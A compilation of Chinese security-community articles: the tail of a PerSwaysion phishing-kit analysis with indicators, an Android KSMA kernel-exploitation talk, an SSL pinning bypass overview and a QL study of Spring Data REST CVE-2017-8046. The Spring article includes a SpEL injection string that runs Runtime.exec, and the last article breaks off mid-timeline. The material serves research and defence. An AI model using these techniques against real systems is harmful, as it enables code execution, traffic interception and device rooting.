加载器文件即使域名改变仍然可以访问，这进一步表明，一个单独的服务器被用来提供加载器文件，捕获凭证，然后验证这些凭证。本文后面将讨论凭据捕获和验证。
## 钓鱼网页
打开附件的 HTML
将显示一个伪造的带有公司品牌的微软365登录页。这是对旧版钓鱼工具的一个升级，旧版钓鱼工具没有显示品牌。登录电子邮件地址是预先填写的，并与钓鱼电子邮件的收件人相匹配。品牌是基于电子邮件地址的域名，直接从微软365下载。
当加载钓鱼页面时，几条信息被发送到 PerSwaysion
服务器。这些信息包括预设受害者的电子邮件地址、凭证类型以及当前的时间和日期。这可能正说明，钓鱼网页正在被频繁使用。这可能是新的通知系统，而不是
SeclarityIO 文章中提到的电子邮件通知。在那篇文章中，SeclarityIO
发现，早期版本的钓鱼工具包向这个攻击者控制的地址发送通知邮件。获取这些电子邮件之后，安全研究人员可以更好地理解这个攻击者所使用的基础设施。在最新的工具包中，通过让电子邮件字段保持空白，直接电子邮件通知已经被有效地删除。
当受害者输入他们的凭据时，他们的电子邮件地址和密码都通过 POST 命令发送到
**hXXps://iost.kogodemcnd[.]com/re/[Base 64 Like Text]** ，其他观察到的变量将数据发送到
**hXXps://riki.kogodemcnd[.]com/re/[Base 64 Like Text]** 。URL
末尾的看着像base64的文本被硬编码到一个网络钓鱼 JavaScript 文件中。
然后，受害者的凭证从 **52.156.67[.]141** 开始实时验证。此 IP 对应于美国西部地区微软 Azure 托管的运行 Ubuntu
Linux 的服务器。自2021-09-20以来，从这个 IP 地址可以观察到证书验证。
凭据收集器域使用的是 Cloudflare 反向代理，实际的服务器 IP 被屏蔽。但是，如果我们尝试访问凭据收集器域上用于 POST
数据的相同文件路径，访问到验证凭据的IP，我们会得到相同的响应。这表明 **52.156.67[.]141** 是 Cloudflare
代理背后的实际凭据收集服务器。正如上面提到的，这个服务器托管初始的链接到 HTML 附件的JavaScript 加载程序文件。
## 受害者研究
Group-IB
的研究人员指出，以前的攻击针对的是企业或机构的高层。在2021年发生的各种攻击中，我们发现攻击针对高级雇员和与这些雇员相关的账户。我们还观察到，在最近的活动中，人力资源和财务部门的雇员成为攻击目标。
在 Group-IB 的报告中，他们怀疑受害者是通过浏览LinkedIn 搜取信息获得的。在今年的攻击中，几百名受害者中，82% 有 LinkedIn
账户。尽管 LinkedIn 可能是一个来源，但它显然不是这个威胁者使用的唯一来源。
## 预防
与许多类型的网络钓鱼一样，混淆处理技术非常普遍，尤其是在使用 HTML 附件时。如果您的邮件过滤器允许对正则表达式进行阻拦，那么可以考虑阻拦那些包含文档
write函数和 Base 64编码字符串的附件。下面是一个与此模式匹配的正则表达式示例: **document.write\s*\s*)**
另一个建议是屏蔽过去30天内注册域名的电子邮件。这可以是一个内置函数，也可以通过创建新注册域的阻拦列表来实现。
## 总结
钓鱼和侦测是一个不断变化的领域，攻击者不断变化，并磨练他们的技术。大多数的改变都不是突然出现的，这使得威胁研究者可以将新的攻击归因于已知的攻击者。通过记录这些变化，安全专业人员可以更好地理解技术的日新月异，并利用这种理解来更好地保护他们的系统和用户。
通过最新的 PerSwaysion
攻击活动，我们可以看到这个攻击者使用组织品牌使他们的钓鱼网页看起来更合法，以及使用自定义发件人域名绕过电子邮件发件人保护。这增加了钓鱼邮件进入受害者邮箱的可能性。这个攻击者也从过去的错误中吸取了教训，加强了他们的操作安全性，并使用了一个新的通知系统，该系统不会暴露他们的电子邮件地址。
未来 PerSwaysion 的迭代版本可能会使用更多改进的策略和技术，安全专业人员应该跟踪这些行为和背后的威胁角色。
## **Indicators**
hXXps://valdia.quatiappcn[.]pw/[hex digits].js — JavaScript Loader
hXXps://kifot.wancdnapp[.]page/[hex digits].js — JavaScript Loader
rikapcndmmooz.firebaseapp.com — PhishKit File Hosting
hXXps://iost.kogodemcnd[.]com/re/[base64 text] — Credential Collector
hXXps://riki.kogodemcnd[.]com/re/[base64 text] — Credential Collector
52.156.67[.]141 — Credential Verification gemlacksresults[.]net — Email Sender
Domain rotarim50[.]com — Email Sender Domain
* * * | 社区文章 |
# 内核空间镜像攻击|利用ARM MMU硬件特性开启安卓8终端的上帝模式
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
编者按：团控，阿里安全潘多拉实验室研究人员，该实验室主要聚焦于移动安全领域，包括对iOS和Android系统安全的攻击和防御技术研究。团控的主攻方向为安卓系统级漏洞的攻防研究。在今年3月的BlackHat
Asia和4月份的HITB上，团控受邀做了主题为《内核空间镜像攻击》的演讲。以下为团控该研究主题的技术分析文章。
## 一、前言
在现代操作系统中，系统运行的内核空间和应用程序的用户空间相互隔离，以保证操作系统的稳定性。以运行Linux内核的ARM终端为例，内核空间和用户空间拥有不同的页表信息，并保存于不同的硬件寄存器。另外，内核运行时的特权等级高于用户态程序，无论何时内核空间对普通程序是不可见的。然而，ARM处理器的某些特殊硬件特性能够打破这种保护，使得普通程序在用户态能够直接访问内核空间，直接打破内核空间与用户空间的隔离，修改内核代码，开启上帝模式。下文以安卓8终端为载体，介绍阿里安全潘多拉实验室成员研究并提出的内核空间镜像攻击利用技巧。
## 二、正文
### 背景
2017年下，Google发布了Android
8(奥利奥)系统。新系统在安全方面引入了多种内核安全加固特性，以对抗漏洞程序获取手机的最高权限。其中，最为重要的安全特性就是PAN(Privileged
Access Never)和KASLR(Kernel Address Space Layout
Randomization)。可见，利用一个漏洞来获取众多最新手机系统的最高权限是非常有挑战性的。
在详述内核空间镜像攻击之前，首先简单介绍ReVent通用ROOT方案。该方案基于@林雷雷(Aliaba Group)发现的一个linux内核BUG。
这个BUG存在与notification内核系统调用:
[1]处计算文件名的长度，并根据长度在[2]分配相应的存储buffer，在[3]拷贝文件名字符串。这个BUG在于，从[1]到[3]的代码路径上，此文件能够被重命名，导致[3]发生内核堆越界覆盖。
通过巧妙的堆布局并覆盖适合的内核对象(eg: iovs)，能够将其转化为在条件竞争下，几乎任意内核地址的一次写操作。堆布局实例如下:
为了向普通应用程序提供服务，用户程序的地址空间对操作系统内核是可见的。为了防止内核直接执行用户程序提供的恶意代码，早些年ARM处理器就引入了PXN(Privileged
Execute
Never)安全特性来缓解漏洞利用。虽然内核不能直接执行用户态代码，但可以直接访问用户态数据。利用一次写内核地址的机会，劫持内核数据指针。在Android
7及以下的安卓终端上，一种常见的绕过PXN防御机制的方法如图所示。
Android 8引入了PAN防御机制，使得内核无法直接访问用户态数据，上述绕过PXN防御机制的方法立即失效。
虽然多次触发上述条件竞争漏洞将payload数据写入内核可以用于绕过PAN，但exploit代码执行成功率急剧下降。另外，借助其他内核漏洞(eg:
CVE-2017-13164)可以将数据稳定写入内核，但在漏洞急剧减少的情况下，能否通过新的利用技巧同时绕过PXN和PAN防御机制，并获取系统最高权限？借助ARM处理器的MMU硬件特性，答案是肯定的。
### 内核空间镜像攻击
Linux内核经典的三级页表(PGDPMDPTE)布局和遍历关系如下图所示。
绝大多数的现代处理器已带有地址管理单元MMU，上述虚拟地址转换关系实际由其自动完成。ARM处理器也不例外，其通用的的地址转换关系如图所示。安卓系统采用三级页表，Level
0页表并未使用。
各级页表中的描述符不仅包含了下一级起始物理地址，还包含了对这段内存的访问属性。ARM有两种描述符block和table。
最后一级页表单独表示。
上述页表描述符中output address保存物理地址，两端比特位保存内存属性信息。
内存的执行属性由XN比特决定，PXN比特决定该内存的代码能否在内核态执行。而AP[2:1]两比特的组合决定了内存的读写权限。
其中，’01’组合比较奇怪。按照此种设计，该内存能够被用户态和内核态同时访问，对应的虚拟地址既可以是用户地址，也可是内核地址。如果某个内核虚拟地址的访问权限被设定为此组合，所有的普通应用程序都能够直接此内核地址。显然这个地址已超出任何普通应用程序自身的地址范围。由于虚拟地址空间的相互隔离，内核地址对应用程序本就不可见。而这个组合直接违反了二者隔离的安全设计，且操作系统内核对此是无法感知的。
按照上述页表遍历的方式，修改任意内核虚地址的访问属性需要内核任意地址读写原语(Arbitray R/W
Primitive)，这个条件是非常强的。如果攻击者已经拥有了这种原语，可直接获取系统最高权限。上述漏洞给予一次几乎任意内核地址写入的机会，在此条件下，常规的页表攻击方式基本失效。
假设某台安卓终端拥有3GB内存。在没有开启内核地址随机化防御机制时，常见的一级页表布局如下。
以”0xFFFFFFC000000000”起始的1GB内核虚地址空间为例，内核Image被加载到此范围。内核代码段的访问属性是R-X，而内核数据段的访问属性是RW-。因此，一级页表描述符一定是TABLE类型。
64位内核空间的虚拟地址绝大多数是无效的，比如”[0xFFFFFFC200000000,
0xFFFFFFC23FFFFFFF]”范围的地址都是无效的，其对应的一级页表项为空。假设此页表项不为空，存在一个BLOCK类型的页表项。其AP组合为’01’，output
address指向第一块1GB的物理内存，如图所示。
通常情况下，“0xFFFFFFC03000200”内核地址只能够被内核访问。而此时，“0xFFFFFFC230002000”内核地址能够被用户态和内核态同时访问。上述内核虚地址访问是同一块物理内存，二者的访问权限可完全不同。即可实现代码段在原有的虚拟地址范围是R-X权限，而在镜像虚拟地址范围是RW-权限且能够被所有的应用程序所访问。换句话说，内核所运行代码都能被直接篡改，内核层面的检测根本无从谈起。此时，根本不需要去获取系统的最高权限，因为系统内核代码已经完全可控，开启真正的上帝模式。
结合上述漏洞，攻击者已经可以将一个用于开启上帝模式的一级页表项写入到指定的位置，这个指定位置是需要精确计算的。Linux内核一级页表的起始地址保存在内核数据段的swapper_pg_dir，那么页表项的地址可以通过简单公式计算。对于开启内核地址随机化的系统，只需修正swapper_pg_dir的真实地址即可。
swapper_pg_dir + (Kernel_Mirroring_Base / 1G) * 8
至此，上帝模式已经开启。攻击者可以运行如下的攻击代码。这段攻击代码直接修改内核数据，patch内核代码。而对于普通C开发程序员或者Linux内核开发人员来说，已经违背了现代操作系统的常识，绝对是无稽之谈。然而在上帝模式下，这段代码就能真实的运行。
在上帝模式下，攻击者已经可以在用户态直接操作内核，上述代码的攻击演示视频([http://v.youku.com/v_show/id_XMzY0NjU3MTA1Mg==.html?spm=a2hzp.8244740.0.0)，此时Android](http://v.youku.com/v_show/id_XMzY0NjU3MTA1Mg==.html?spm=a2hzp.8244740.0.0\)%EF%BC%8C%E6%AD%A4%E6%97%B6Android)
8终端的PXN和PAN内核防御机制已对攻击者完全无效。完整地获取Pixel
2XL手机的最高权限攻击的视频链接]([http://v.youku.com/v_show/id_XMzU0MjA0NjY5Mg==.html?spm=a2h3j.8428770.3416059.1)。](http://v.youku.com/v_show/id_XMzU0MjA0NjY5Mg==.html?spm=a2h3j.8428770.3416059.1\)%E3%80%82)
### 结尾
内核空间镜像攻击除了能够直接攻破安卓8重要的防御机制外，还能够将一些看似不能被利用，危害评级较低的漏洞赋予重生的能力，典型的例子CVE-2017-0583。
同时，这个漏洞被Google作为有效防御的案例在zer0conf2017([Your Move: Vulnerability Exploitation
and Mitigation in
Android](https://source.android.com/security/reports/zer0-conf-2017-Your-Move.pdf))上举例。关于如何100%成功率的利用这个漏洞的相关内容参看BlackHatAisa2018（[KSMA: Breaking
Android kernel isolation and Rooting with ARM MMU
features](https://www.blackhat.com/docs/asia-18/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf)）的后部分内容。
硬件设计的不合理危害性远高于软件层面，且修补更新更为困难。在设计之初就将安全性作为一项重要的指标是最佳的选择。 | 社区文章 |
# 【技术分享】SSL安全通信杂谈篇
|
##### 译文声明
本文是翻译文章，文章来源：宜人贷安全应急响应中心
译文仅供参考，具体内容表达以及含义原文为准。
****
**SSL安全套接层**
SSL安全套接层（Secure Socket
Layer）为Netspace所研发，用以保证在Internet上数据传输的完整性和保密性，目前版本为3.0，最新版本为TLS1.2安全传输层协议（Transport
Layer Security）。TLS和SSL两者差别极小可以将其理解为SSL的更新版本。
**通信过程**
SSL介于应用层和网络层之间，位于传输层。应用的数据经过传输层中的SSL进行加密，并增加自己的SSL头，在将加密后的数据传向网络层。
其中具体的通信过程如下：
1\. 客户端的浏览器向服务器传送其所支持的SSL协议的版本号，加密算法，随机数，已经其他通讯所需的信息；
2\.
服务端根据客户端传送的信息选择双方都支持的SSL协议版本，加密算法等信息和自己的证书传送到客户端（该步骤中可能会存在安全隐患，例如伪造客户端可支持的SSL协议版本过低，可能会导致服务端采取安全等级过低的SSL版本来进行通信）；
3\.
客户端利用服务器传送过来的信息来验证服务器的合法性，包括证书是否已经过期、证书的颁发机构是否可靠、公钥是否匹配、证书上的域名和服务器端的是否匹配等，如果验证不通过则断开通讯，验证通过则继续通讯；
4\. 客户端随机产生一个用于通讯加密的对称密码，通过公钥对其进行加密，然后将加密后的预主密码传给服务器；
5\. 服务器通过自己的私钥进行解密来获得通讯加密所使用的预主密码，然后使用一系列算法来产生主通讯密码（客户端也将通过相同的方式来产生相同的主通讯密码）；
6\. 客户端向服务器发出信息，指明后续的数据通讯将使用加解密的主密码为上以阶段生成的主通讯密码，同时通知服务端客户端的握手过程结束；
7\. 服务端同样想客户端指明通讯密码并确认握手过程结束；
8\. 握手过程结束。SSL安全通道数据通讯开始，客户端和服务器开始使用相同的对称秘钥进行数据通讯，同时进行通讯完整性校验。
**握手过程图解**
**SSL通讯建立后**
从上述通讯过程可以看出，在ssl通讯建立起来之后，不考虑ssl版本上的一些漏洞，通信过程是很安全的，可以有效的防止中间人攻击和运营商劫持等问题，通讯数据的保密性和完整性得到了有效保证。所以针对SSL的相关攻击必须建立在其会话的初始化阶段，例如进行中间人攻击必须在会话建立过程中实现，即在通讯过程中攻击者伪造一个证书，对客户端声称该证书就是服务器证书来骗过客户端，使其信任该证书，并使用该证书来进行通讯，这样用户通讯的信息就会被第三监听，通讯保密性和完整性就被破坏。这种攻击方式也有一定的局限，当使用伪造的证书来建立通讯时，一般攻击者不会获得经过官方机构认证的证书，客户端的浏览器就会发过警告，提醒通信不安全，可以参考访问12306时的浏览器的提示（因为12306使用的是其自建的ca颁发的证书，没有经过官方机构的认证，所以浏览器就默认会认为其证书不安全，并提出告警）。
**绕过浏览器校验**
尽管通过浏览器去检验证书的合法性会提高攻击的成本，但在某些特殊情况下，还是会绕过浏览器的校验。例如：当我们使用fiddler和Charles这一类的抓包工具时，可以手动将他们的证书添加成为可信证书，所以当我们利用这些工具在本地对相关的系统进行逻辑分析时，并不会收到浏览器的告警。而且浏览器的校验仅仅针对的是web端的应用，对于移动端和其他非web端的应用只能通过其他方式来进行防护，一种比较通用的实现方式是使用SSL
Pinning即证书绑定。
**SSL Pinning**
SSL
Pinning可以应用在客户端和服务端的通信是事先约定好的场景中，即服务器的地址和证书是预先知道的，这种场景常见于CS架构的应用中。这样的话，客户端可以事先保存好一份服务器的证书，每次请求与服务器进行通信的时候，将服务器返回的证书与客户端保存的证书进行比对，如果两个证书不匹配，则说明受到了中间人攻击，可以直接中断请求。这样就无法通过伪造证书或者使用第三方证书进行攻击。具体的实现方法大家可以在网上找一下。这里提供iso和安卓的两个示例的网址。
安卓示例：<https://developer.android.com/training/articles/security-ssl.html#UnknownCa> ；
IOS示例：<https://github.com/datatheorem/TrustKit> ，大家感兴趣的话可以自己研究一下。
**SSL Pinning 代码绕过**
通过SSL
Pinning可以有效的防止中间人攻击，但是当我们本地做流量代理对相关应用的逻辑进行调试和分析的时候，使用代理工具同样会抓不到数据包，这样会很不方便，不过目前也有解决办法。首先可以通过对应用进行反编译，找到使用SSL
Pinning代码的部分对其进行绕过，以安卓为例，通常证书验证逻辑在安卓中的形式为A.B(C)，即在A中调用B函数，而B函数会加载C参数。通俗的讲，在客户端启动时，会执行初始化A函数，A函数中会调用一个验证证书的B函数，在A调用B函数的同时，会传个密钥库C参数到B函数，根据B函数的返回结果，A函数决定程序是否继续下去。
**绕过方法**
所有这里可以有三种方式进行绕过：
1、直接修改A函数逻辑使得无论B函数返回什么A函数都能继续执行；
2、修改B函数使其返回值永远都为真；
3、把C中的证书替换为代理软件的证书。
除了反编译修改代码逻辑外，还可以通过使用插件的方式来绕过SSL
Pinning，例如：在安卓系统的手机上获取root权限后，安装xposed框架使用其中的JustTrustMe模块进行绕过；或者在越狱的ios设备上使用SSL
Kill Switch等插件进行绕过。
关于SSL相关的知识暂时写到这里，给大家当个参考，请大家多多指正。 | 社区文章 |
翻译自：<https://lgtm.com/blog/spring_data_rest_CVE-2017-8046_ql>
翻译：聂心明
在这篇文章中，我将介绍Spring Data REST远程命令执行漏洞并且我将展示如何使用ql帮助保证漏洞得到正确的修复。
# 漏洞详情
这个漏洞（ CVE-2017-8046 <https://pivotal.io/security/cve-2017-8046>
）它通过发送PATCH请求，并且数据包里面带有特意构造的恶意json数据，这样就可以在服务器上运行任意代码，而且不幸的是，这个漏洞非常好利用。它影响了Spring
Data REST组件，这个组件分布在各种Spring项目中，包括，Spring Boot
framework。想要看更详细的受影响Spring组件，可以访问
<https://lgtm.com/blog/spring_data_rest_CVE-2017-8046>
我在2017年9月发现这个漏洞，然后我快速的把这个漏洞报给了官方，通过我们的帮助，官方在2017年十月发布给受影响的组件发布了补丁，在Pivotal的要求下，并且由于这个漏洞的严重性，我们在2018年3月公开了这个漏洞的。在文章底部有漏洞披露的完整时间线。
# Spring表达式语言（SpEL）漏洞
Spring表达式（SpEL ）是非常强大的spring框架表达式语言。典型地，使用SpelExpressionParser
（<https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/expression/spel/standard/SpelExpressionParser.html> ）
把字符串解析成表达式 （ <https://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/expression/Expression.html>
），当其中一个方法获取到值之后，表达式就会被执行，getValueType 或者 setValue会被调用：
Expression expr = expressionParser.parseExpression(stringScript);
expr.getValue(); //Execute the code in stringScript
通常，SpEL仅限于内部使用并且stringScript会被程序完全控制。无论怎么样，SpEL是非常强大的语言，如果输入的表达式来自于不受信任的源，那么攻击者就可以在有漏洞的服务器上执行。例如，如果stringScript是下面这样的形式的话：
String stringScript = "T(java.lang.Runtime).getRuntime().exec(" + cmd + ").x";
之后cmd就被执行。
这就是这个Spring Data REST漏洞的基本原理，Spring Data
REST把远程输入的数据解析成SpEL表达式，并且将其解析。为了使用QL发现漏洞，我首先使用表达式解析器建模类和函数的访问：
/** The class `ExpressionParser` in spring. */
class ExpressionParser extends RefType {
ExpressionParser() {
this.hasQualifiedName("org.springframework.expression", "ExpressionParser")
}
}
/** Methods to parse an expression. */
class ParseExpression extends MethodAccess {
ParseExpression() {
exists (Method m |
(m.getName().matches("parse%") or m.hasName("doParseExpression"))
and
this.getMethod() = m
)
}
}
在解析之前，它能辨别出多种函数。一些函数被定义在ExpressionParser中，然而一些其他函数只在SpelExpressionParser定义，我不会在这里指定方法的具体的声明类型，反而在查询结果中限制查询结果。
为了获取更多有价值的结果，我想寻找一段可以被输入控制且能被解析的表达式。以前的一种方法是使用数据流库追踪远程的输入。可是，我对Spring Data
REST的内部工作原理不是很了解，所以没有对远程输入建模，我决定探索一下，并且在javadoc中寻找一些线索。通常在web应用程序中进行远程输入的类中，一个路径或者URL会在Javadoc或者注释中具体说明。在QL中，我能通过Javadoc类访问Javadoc，所以让我们在Javadoc中寻找包含路径和URL的内容吧。下面的类是javadoc中的一个类，这个类做一些基本的字符串分析，目的是检查表达式的内容中是否包含文件路径或者URL。
/** Look for hints in the javadoc that indicates this method is use for processing path. */
class DocHasPath extends Javadoc {
DocHasPath() {
exists(string s |
//Look for something that indicates the functionality is to do with a path.
s = this.toString().regexpMatch("(.* )?/[^ ]*/.*|.*path.*")
)
}
}
我使用下面的方法去发现在Javadoc类中包含路径的函数
/** Look for methods that may be used for processing paths, indicated by javadoc. */
class CallHasPath extends Callable {
CallHasPath() {
//exclude test classes
not this.getDeclaringType() instanceof TestClass and
(
this.getDoc().getJavadoc() instanceof DocHasPath or
this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath
)
}
}
特别是，我对这个把字符串解析成SpEL表达式的函数非常感兴趣，所以把他们放在一起，我发现两个成果 （
<https://lgtm.com/query/2141670445/>
）。这个成果在同一个类之中，并且javadoc建议这个类用于将补丁路径转换为SpEL表达式。更进一步的调查显示，在类中解析路径会调用PatchOperation
（ <https://github.com/spring-projects/spring-data-rest/blob/8f269e28fe8038a6c60f31a1c36cfda04795ab45/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/PatchOperation.java>
） 。PatchOperation的基类会被用于处理PATCH请求。这个类接收PATCH请求，它们作为字段成员被存储并被解析成SpEl Expression
（ <https://github.com/spring-projects/spring-data-rest/blob/8f269e28fe8038a6c60f31a1c36cfda04795ab45/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/PatchOperation.java#L73>
）。
经过测试，这个是可以被利用的，我把这个问题报告给了Pivotal，Pivotal团队很快的在PatchOperation中添加了verifyPath （
<https://github.com/spring-projects/spring-data-rest/commit/8f269e28fe8038a6c60f31a1c36cfda04795ab45> ）
函数去过滤输入。这个想法是在解析表达式之前调用verifyPath，目的是为了过滤远程输入：
verifyPath(entityType); //verify the `path` field that was parsed into a SpEL expression (`spelExpression`)
return evaluate(spelExpression.getValueType(targetObject)); //OK to call `getValueType` for evaluation.
# 用QL发现不完全的修复
由于原来的问题没有被修复完全，因此看到相关的安全问题并不罕见。比如在Spring-Webflow中，就有 CVE-2017-4971 和
CVE-2017-8039两个类似的漏洞，这两个漏洞是相同的问题，但是用了两个不同的代码路径。如果安全漏洞没有被完全修复，就会导致很多严重的安全问题，有经验的黑客会根据安全通告找到漏洞的位置。所以在发安全通告之前，要确定补丁能够全面覆盖。为了查看漏洞是否被完全修复，就要检查是否所有调用了getValue，getValueType或者setValue代码之前都调用了verifyPath。首先，让我们定义一个包含verifyPath函数的模块：
/** The sanitization method `verifyPath` */
class VerifyPath extends Method {
VerifyPath() {
this.hasName("verifyPath") and
this.getDeclaringType().hasQualifiedName("org.springframework.data.rest.webmvc.json.patch", "PatchOperation")
}
}
为了确定在调用verifyPath之后，SpEL表达式会被有效的验证，我利用了QL中的ControlFlow库。首先我定义一个ActionConfiguration，这个模块调用了verifyPath。我用isAction查看通过调用verifyPath的执行路径。
/** A control flow node that represents a call to `verifyPath`. */
class VerifyPathActionConf extends ActionConfiguration {
VerifyPathActionConf() { this = "VerifyPathActionConf" }
override predicate isAction(ControlFlowNode node) {
node.(MethodAccess).getMethod() instanceof VerifyPath
}
}
ActionConfiguration包含一个名字叫callAlwaysPerformsAction的断言，它会检查是否是因为输入导致（调用）指定的操作（在这个场景中，调用一个函数导致调用verifyPath），这个操作在每个代码路径上都会被执行。
from MethodAccess ma, VerifyPathActionConf conf
where conf.callAlwaysPerformsAction(ma)
select ma
这标识了一个总是调用verifyPath的函数，比如：
public void callsVerify() {
verifyPath();
}
并且遗漏了一些可能在代码路径执行路径上可能不会调用verifyPath的函数，比如：
public void notAlwaysCallsVerify(boolean call) {
if (call) {
verifyPath();
}
}
用VerifyPathActionConf，我现在就能寻找到那些直接执行SpEL表达式而没有调用verifyPath的地方。更特别的是，我想发现PATCH请求中仍然存在的漏洞。当发出PATCH请求能触发PatchOperation类的perform函数的时候，这标志着这个操作可能会有安全问题。比如
public void perform(Object target, Class<T> type) {
spelExpression.getValue()
}
在不先调用verifyPath的情况下直接评估spelExpression，我还需要确定可传递地评估spelExpression的情况：
public void perform(Object target, Class<T> type) {
evaluateWithoutVerify(); //没有调用verifyPath的spelExpression
}
还漏掉一种安全的情况
public void perform(Object target, Class<T> type) {
verifyPath(type);
evaluateWithoutVerify();
}
或者
public void perform(Object target, Class<T> type) {
evaluateWithVerify(); //calls verifyPath before evaluation.
}
与局部控制流分析不同，QL会找到更多的可能性和他们之间的传递关系，所以，QL处理这些场景会更加轻松一些。总之，不安全的调用应该满足下面的条件：
* 在进入表达式解析器之前没有调用verifyPath
* 进入不安全的解析器函数之前没有调用verifyPath
我们看到一些不安全的调用被递归的定义，所以为了构造一个QL类，我们使用递归进行建模：
/** A method that evaluates the expression before calling `verifyPath`.*/
class UnsafeEvaluateCall extends MethodAccess {
UnsafeEvaluateCall() {
(
//Base of the recursion.
this.getMethod() instanceof Evaluate
or
//recursive definition: This calls another `UnsafeEvaulateCall`
exists(UnsafeEvaluateCall unsafe |
this.getMethod() = unsafe.getEnclosingCallable()
)
)
and
//Does not always call verify before this.
not exists(VerifyPathCallerAccess verify |
dominates(verify, this)
)
}
}
使用这段代码查询（ <https://lgtm.com/query/1505746236024/>
）。你会发现copy，move和remove操作依然有漏洞。经过测试发现，这些操作依然可以被利用，之后我把这些问题报告给了Pivotal。Pivotal
很快的给我回信说，他们已经确认问题，并且用verifyPath保护了所有的操作。并且还添加了一些单元测试 （
<https://github.com/spring-projects/spring-data-rest/blob/973f932a390ec1dd6e4b8e78f75b355238db12a8/spring-data-rest-webmvc/src/test/java/org/springframework/data/rest/webmvc/json/patch/PatchOperationUnitTests.java>
）保证漏洞已经被修复
# 查询，不要猜测
在所有的操作前面加上verifyPath 函数似乎已经完全修复了所有的漏洞，但是我决定去检查一下verifyPath
本身是否实现的正确。当检测具体的算法实现的时，最好把这个工作留给人去做。但我们已经看出来，在识别逻辑错误的这方面，QL非常有用。尤其，程序员和我假设，PatchOperation中的路径这个变量是唯一被spelExpression解析的，所以我想知道这个是不是真的。我写了另一个查询，目的是寻找流入parse
函数的参数的所有表达式。
from FlowSource source, Expr sink
where source.flowsTo(sink)
and exists(ParseExpression m | sink = m.getAnArgument() and
m.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and
m.getEnclosingCallable().getDeclaringType() instanceof PathToSpEL)
//Exclude the field `path` that have been checked by `verifyPath` already.
and source.getEnclosingCallable().getDeclaringType().getASupertype*() instanceof PatchOperation
and not exists(PathField path, FlowSource commonSource |
commonSource.flowsTo(path.getAnAccess()) and commonSource.flowsTo(source)
)
select source, sink
这个查询 （ <https://lgtm.com/query/1505752096043/> ）给出了三个结果。所以我看到了copy和move
操作，另外一个被调用的变量from （ [https://lgtm.com/projects/g/spring-projects/spring-data-rest/snapshot/dfc2adf373ac6c110377e6a7ea2745205342629d/files/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/FromOperation.java?sort=name&dir=ASC&mode=heatmap&excluded=false#L42](https://lgtm.com/projects/g/spring-projects/spring-data-rest/snapshot/dfc2adf373ac6c110377e6a7ea2745205342629d/files/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/FromOperation.java?sort=name&dir=ASC&mode=heatmap&excluded=false#L42)
） 也被SpEL表达式解析（ [https://lgtm.com/projects/g/spring-projects/spring-data-rest/snapshot/dfc2adf373ac6c110377e6a7ea2745205342629d/files/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/CopyOperation.java?sort=name&dir=ASC&mode=heatmap&excluded=false#L60](https://lgtm.com/projects/g/spring-projects/spring-data-rest/snapshot/dfc2adf373ac6c110377e6a7ea2745205342629d/files/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/CopyOperation.java?sort=name&dir=ASC&mode=heatmap&excluded=false#L60)
） 。这个发现是非常有意义的，因为要给copy和move提供两个路径，一个是源地址另一个是目的地址。无论怎样，当我们观察
PatchOperation函数的时候，很容易想到只提供一个路径的操作，但是会忽略掉另一种情况。尤其过一些时间之后，当不同的人添加代码实现新的操作的时候。通过QL，而不是通过猜测，几分钟之后我完成了搜索并且得到了我想要的结果。经过测试我发现这些操作依然可以被利用，我把这些发现又报告给了Pivotal
。这次他们也确认了，并且添加了新的单元测试目的是捕捉所有的问题，并且花了稍微长的时间才做出回应。观察这次测试（
<https://github.com/spring-projects/spring-data-rest/blob/973f932a390ec1dd6e4b8e78f75b355238db12a8/spring-data-rest-webmvc/src/test/java/org/springframework/data/rest/webmvc/json/patch/PatchOperationUnitTests.java#L34>
），很明显的是from这个参数没有被测试。即使这样，这个漏洞也需要path这个变量是一个合法的路径，这对于单元测试或者普通的fuzzing测试来说，这个问题很难被发现。
最后。解析表达式的全部代码被重写（ <https://github.com/spring-projects/spring-data-rest/commit/d48499ad8d61714d9f8f836c3eb859c52f59b673> ）。这次，所有的SpEL
表达式解析被放入了一个叫 SpelPath 的类中（ [https://lgtm.com/projects/g/spring-projects/spring-data-rest/snapshot/dist-48000263-1509466693845/files/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/SpelPath.java?sort=name&dir=ASC&mode=heatmap&excluded=false#L57](https://lgtm.com/projects/g/spring-projects/spring-data-rest/snapshot/dist-48000263-1509466693845/files/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/SpelPath.java?sort=name&dir=ASC&mode=heatmap&excluded=false#L57)
） ，这个类中有一个子类叫 TypedSpelPath （ <https://lgtm.com/projects/g/spring-projects/spring-data-rest/snapshot/dist-48000263-1509466693845/files/spring-data-rest-webmvc/src/main/java/org/springframework/data/rest/webmvc/json/patch/SpelPath.java#L208>
） ，这个类在初始化的时候调用了verifyPath。
回到最原始的问题，是否有一些操作会在TypedSpelPath之外调用。为了验证这个想法，我写了一个简单的查询去寻找这样的操作：
from Method m
where exists(Method e | e instanceof Evaluate and m.polyCalls(e))
select m, m.getDeclaringType()
运行这个查询 （ <https://lgtm.com/query/1505836165972/> ）
我发现所有的操作都在TypedSpelPath之中，所以我觉得这个漏洞修补成功了。
# 漏洞时间线和厂商反馈
* 2017年九月7日：首次向Pivotal 安全团队透发聩洞信息。
* 2017年九月21日：Pivotal发布安全公告 （ <https://pivotal.io/security/cve-2017-8046> ）
* 2017年9月22日：验证Pivotal发布的补丁之后，向厂商报告没有修复完善 （ 并且升级了利用方式）
* 2017年9月26日：Pivotal 回复了新的修复方式 （ <https://github.com/spring-projects/spring-data-rest/commit/973f932a390ec1dd6e4b8e78f75b355238db12a8> ）
* 2017年9月27日：验证Pivotal发布的补丁之后，向厂商报告没有修复完善 （ 并且升级了利用方式）
